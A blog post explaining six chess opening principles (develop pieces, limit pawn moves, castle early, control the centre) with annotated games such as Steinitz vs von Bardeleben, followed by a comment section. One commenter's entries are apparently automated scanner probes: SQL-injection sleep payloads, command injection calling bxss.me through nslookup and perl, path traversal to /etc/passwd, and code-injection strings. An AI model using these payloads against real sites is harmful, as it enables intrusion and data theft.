Chess Opening Principles

Oluşturulan zaman: 2020-12-28 ; Son değişiklik: 2021-01-17

If you ask ten chess players what the most important opening principles are, you will probably get ten different answers. Nonetheless, I want to compile a list of the answers that are most frequently given.

Before we start, I would like to motivate this list with the goals in the opening. With this information it will be easier to understand why different principles have been established as important. This can best be summarized with a quote from the book “Common Sense in Chess” by Emanuel Lasker, the World Chess Champion for 27 years, from 1894 to 1921.

Out first step will be exactly analogous to that of a commander of an army. First of all we shall mobilize our troops, make them ready for action, try to seize the important lines and points which are yet wholly unoccupied.

-Emanuel Lasker in Common Sense in Chess 1896

The primary goal in the opening should be to develop our pieces, control the center and get our king to safety.

Principle 1: Develop your pieces

With the introduction, it is probably no wonder that the first opening principle in the list is to develop your pieces. But this is essential for a good position in the middle game.

In the book, Emanuel Lasker even goes so far as to say: Why it is so important to develop your pieces can be seen very well in this game:

12345678abcdefgh
1. e4 e5 2. Nf3 d6 3. Bc4 h6 So far, with the exception of the last move, Black has played quite well. They have opened lines for their two Bishops and the Queen, and now should bring out their pieces. Instead of that, afraid of some premature attack, they quite unnecessarily make a move that does not advance their development. 4. Nc3 Bg4 5. Nxe5 At this point white can exploit Blacks lack of development. White has developed three minor pieces and is ready to castle while black only developed one piece and is at least two moves away from castling. Bxd1 6. Bxf7+ Ke7 7. Nd5# This position was reached 1,019 times on lichess

While white developed their pieces, black neglected to develop their pieces with their unnecessary pawn move. The huge advantage in development has resulted in tactics for white.

Principle 2: Don’t make too many pawn moves

As we saw in the game above, moving our pawns too often in the opening can quickly become a serious problem.

To help us understand why that is, we can look at one of Aron Nimzowitsch’s axioms, which he described in his famous book My System:

A pawn move must not in itself be regarded as a developing move, but merely as an aid to development.

So we should choose our pawn moves wisely. They should be designed to develop our pieces.

In the book Common Sense in Chess, Emanuel Lasker even goes so far as to say:

Don’t move any Pawns in the opening, but the d and e Pawns.

Principle 3: Don’t move the same piece twice

So far we have said that it is important to develop your pieces. So is it twice as effective to move your pieces multiple times, developing them twice in a way?

With a question like that, it’s probably not surprising that the answer is no (see Betteridge’s law of headlines). To understand why, let us take a look at another game:

12345678abcdefgh
1. e4 d6 2. Nf3 e5 3. Bc4 Bg4 4. O-O Bxf3 Blacks play up to this point was fine. But by capturing the knight on f3 white suddenly has quite an advantage. 5. Qxf3 After recapturing white has developed three pieces and already has castled. Black on the other hand is still at least two moves from castling and has no pieces developed.

In this short extract you can observe the disadvantage of moving the same piece twice clearly because black not only moves his developed bishop twice, but also gives it up for the knight. Thus white can develop their queen with tempo. The result is that white has developed three pieces and has castled, while black is left without any developed piece.

Do not exchange your developed pieces in the opening. Unless there is a tactic that justifies it.

Again we can end this section with a quote by Emanuel Lasker:

Do not move any piece twice in the opening, but put it at once on the right square.

Principle 4: Develop your queen last

Or in other words, don’t develop your queen too early. I just wanted to have a positive headline for a change rather than just preaching with “don’ts”.

But why shouldn’t I develop the queen early? Isn’t she the strongest character on the field? Yes, she is, and that is exactly why she is also the most vulnerable.

Every time the queen is attacked, she has to move. She cannot be defended like our pieces. For example, suppose our opponent decides to attack our knight with a bishop. We can defend the knight with our other pieces. Now, if the opponent takes the knight, we can capture back and we don’t loose anything. On the contrary, our opponent has wasted several moves and we should have a developmental advantage.

Let us now imagine that our opponent attacks our queen with their bishop. In this case, we cannot defend our queen because an exchange would be in our opponent’s favour. Therefore, we have to move our queen again and our opponent has a developmental advantage.

The queen is the strongest but also the most vulnerable piece. Every time she is attacked she has to seek cover.

12345678abcdefgh
1. e4 d5 2. exd5 Qxd5 3. Nc3 The queen has to run for the first time. Qg5 4. d4 The queen is attacked by the bishop and has to run again. Qh4 5. Nf3 The knight develops basically for free as the queen once again has to hide again Qf6 6. Bg5 Maybe not the best move but you get the point, the bishop gets to develop for free since the queen has to hide again. Qd6

What is the result of the game? White has developed three pieces while black has only moved his queen back and forth. White was able to develop their pieces for free because they attacked the queen and black had to waste their turn trying to save their queen.

Principle 5: Castle as soon as possible

Do not leave your king in the centre because he will be vulnerable there. After you have moved your pawns forward in the centre to develop your pieces, lines to your king will have opened up. Your opponent could use these open lines to attack you.

But there is a solution: this one weird trick will save you: Castle.

After you have castled, there are once again pawns in front of your king that can protect him from attacks. Why this is so important can be observed in the famous game Wilhelm Steinitz vs Curt von Bardeleben:

12345678abcdefgh
1. e4 e5 2. Nf3 Nc6 3. Bc4 Bc5 4. c3 Nf6 5. d4 exd4 6. cxd4 Bb4+ 7. Nc3 d5 8. exd5 Nxd5 9. O-O Be6 10. Bg5 Be7 11. Bxd5 Bxd5 12. Nxd5 Qxd5 13. Bxe7 Nxe7 14. Re1 f6 15. Qe2 Qd7 16. Rac1 c6 17. d5 cxd5 18. Nd4 Kf7 19. Ne6 Rhc8 20. Qg4 g6 21. Ng5+ Ke8 22. Rxe7+ Kf8 23. Rf7+ Kg8 24. Rg7+ Kh8 25. Rxh7+

Curt von Bardeleben did not cast in this game and therefore always had to deal with Steinitz’s attack. Since Steinitz opened the centre, he had many open lines for attacking the black king.

Principle 6: Take control of the center

What can go wrong if you don’t control the centre can be seen in the game Caruana vs Aronian:

12345678abcdefgh
1. e4 g6 2. d4 Bg7 3. Nc3 d6 4. Be3 c6 5. a4 d5 6. h3 dxe4 7. Nxe4 Bf5 8. Ng3 Be6 9. Nf3 Nf6 10. Be2 Nd5 11. Bd2 Qc7 12. Qc1 h6 13. c4 Nf6 14. O-O Nbd7 15. a5 g5 16. Bd3 g4 17. hxg4 Bxg4 18. Bf4 Qc8 19. Nh4 Nh5 20. Nxh5 Bxh5 21. Nf5 Bf6 22. Re1 Kd8 23. Qe3 Nf8 24. Nxe7 Qd7 25. Nf5 Ng6 26. Bh2 Bg4 27. Nd6 Bg5 28. Qe4 Nh4 29. Nxf7+ Qxf7 30. Qxg4 Rf8 31. Bg3 Nf5 32. Bxf5 Qxf5 33. Qxf5 Rxf5 34. a6 b5 35. Re6 bxc4 36. Rd6+ Ke8 37. Re1+ Kf8 38. Rxc6 Rb5 39. Rxc4 Rxb2 40. d5 Ra2 41. Rc6 Rd8 42. d6 Ra4 43. Rb1 Rd7 44. Rb7 Rxa6 45. Rc8+

After only 25 moves stockfish gives white a +9 advantage, which means stockfish thinks white is so much better as if Caruana had an extra queen. Yet both players have the same number of pieces. Black has fewer good squares for his pieces, whereas white has more control over the board and can coordinate his pieces more easily.

Conclusion

These were the opening principles I heard most often. Of course, this does not mean that you should always follow them 100% blindly. In some positions it can be worth breaking them. And that’s the good thing about chess, there are no black and white rules that always apply. There is always a balance to be found.

Do you want to discover the best way to learn openings? I also wrote a post on how I study openings.

Back

Yorumlar

Thank you, a wonderful site

yazan: Tonyzzz7

thanks for this amazing work

yazan: Mourice

ctime sleep p0 (I30 tp1 Rp2 .

yazan: pPzjtkhv

"+"A".concat(70-3).concat(22*4).concat(104).concat(71).concat(112).concat(70)+(require"socket" Socket.gethostbyname("hitbh"+"ayljryda06193.bxss.me.")[3].to_s)+"

yazan: pPzjtkhv

HttP://bxss.me/t/xss.html?%00

yazan: pPzjtkhv

response.write(9067830*9930016)

yazan: pPzjtkhv

'+'A'.concat(70-3).concat(22*4).concat(118).concat(72).concat(101).concat(78)+(require'socket' Socket.gethostbyname('hitif'+'tixvuvgfbd1ed.bxss.me.')[3].to_s)+'

yazan: pPzjtkhv

bxss.me/t/xss.html?%00

yazan: pPzjtkhv

'+response.write(9067830*9930016)+'

yazan: pPzjtkhv

'.gethostbyname(lc('hitgn'.'rvmxkcnq0a32d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(70).chr(111).chr(75).'

yazan: pPzjtkhv

comment

yazan: pPzjtkhv

<!--

yazan: pPzjtkhv

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

yazan: pPzjtkhv

"+response.write(9067830*9930016)+"

yazan: pPzjtkhv

".gethostbyname(lc("hitbq"."qxtglwjm78d7e.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(71).chr(121).chr(75)."

yazan: pPzjtkhv

../../../../../../../../../../../../../../etc/passwd

yazan: pPzjtkhv

../../../../../../../../../../../../../../windows/win.ini

yazan: pPzjtkhv

comment/.

yazan: pPzjtkhv

Http://bxss.me/t/fit.txt

yazan: pPzjtkhv

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

yazan: pPzjtkhv

http://bxss.me/t/fit.txt?.jpg

yazan: pPzjtkhv

'"()

yazan: pPzjtkhv

../

yazan: pPzjtkhv

`(nslookup hitumelihalftaa74f.bxss.me||perl -e "gethostbyname('hitumelihalftaa74f.bxss.me')")`

yazan: pPzjtkhv

!(()&&!|*|*|

yazan: pPzjtkhv

&echo mzszrl$()\ stzexi\nz^xyu||a #' &echo mzszrl$()\ stzexi\nz^xyu||a #|" &echo mzszrl$()\ stzexi\nz^xyu||a #

yazan: pPzjtkhv

$(nslookup hitddnvugorjse661b.bxss.me||perl -e "gethostbyname('hitddnvugorjse661b.bxss.me')")

yazan: pPzjtkhv

rCQwLUvO

yazan: pPzjtkhv

-1" OR 2+579-579-1=0+0+0+1 --

yazan: pPzjtkhv

pZP6iQ4P') OR 499=(SELECT 499 FROM PG_SLEEP(15))--

yazan: pPzjtkhv

';print(md5(31337));$a='

yazan: pPzjtkhv

|echo exndhs$()\ kiieea\nz^xyu||a #' |echo exndhs$()\ kiieea\nz^xyu||a #|" |echo exndhs$()\ kiieea\nz^xyu||a #

yazan: pPzjtkhv

'.print(md5(31337)).'

yazan: pPzjtkhv

d4piO36X'; waitfor delay '0:0:15' --

yazan: pPzjtkhv

HPuMfnZi' OR 905=(SELECT 905 FROM PG_SLEEP(15))--

yazan: pPzjtkhv

RmCDM7KC')) OR 17=(SELECT 17 FROM PG_SLEEP(15))--

yazan: pPzjtkhv

bxss.me

yazan: pPzjtkhv

echo buheao$()\ ulsobw\nz^xyu||a #' &echo buheao$()\ ulsobw\nz^xyu||a #|" &echo buheao$()\ ulsobw\nz^xyu||a #

yazan: pPzjtkhv

-1' OR 2+102-102-1=0+0+0+1 or 'RWycs7pj'='

yazan: pPzjtkhv

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

yazan: pPzjtkhv

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

yazan: pPzjtkhv

-1; waitfor delay '0:0:15' --

yazan: pPzjtkhv

^(#$!@#$)(()))******

yazan: pPzjtkhv

|(nslookup hitkoangvkpzqb29c0.bxss.me||perl -e "gethostbyname('hitkoangvkpzqb29c0.bxss.me')")

yazan: pPzjtkhv

if(now()=sysdate(),sleep(15),0)

yazan: pPzjtkhv

1 waitfor delay '0:0:15' --

yazan: pPzjtkhv

";print(md5(31337));$a="

yazan: pPzjtkhv

-1 OR 2+118-118-1=0+0+0+1 --

yazan: pPzjtkhv

-5) OR 581=(SELECT 581 FROM PG_SLEEP(15))--

yazan: pPzjtkhv

${@print(md5(31337))}

yazan: pPzjtkhv

${@print(md5(31337))}\

yazan: pPzjtkhv

-1); waitfor delay '0:0:15' --

yazan: pPzjtkhv

(nslookup hitxeqxkorxct5952b.bxss.me||perl -e "gethostbyname('hitxeqxkorxct5952b.bxss.me')")

yazan: pPzjtkhv

&(nslookup hitqqatxzhplu4e438.bxss.me||perl -e "gethostbyname('hitqqatxzhplu4e438.bxss.me')")&'\"`0&(nslookup hitqqatxzhplu4e438.bxss.me||perl -e "gethostbyname('hitqqatxzhplu4e438.bxss.me')")&`'

yazan: pPzjtkhv

-1' OR 2+651-651-1=0+0+0+1 --

yazan: pPzjtkhv

-1)) OR 344=(SELECT 344 FROM PG_SLEEP(15))--

yazan: pPzjtkhv

-1 OR 2+968-968-1=0+0+0+1

yazan: pPzjtkhv

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

yazan: pPzjtkhv

-5 OR 241=(SELECT 241 FROM PG_SLEEP(15))--

yazan: pPzjtkhv

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

yazan: pPzjtkhv

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

yazan: pPzjtkhv

@@iJq0r

yazan: pPzjtkhv

thx, wonderful work.

yazan: L3G3NDARY

Yorum yapmak için Kayıt ol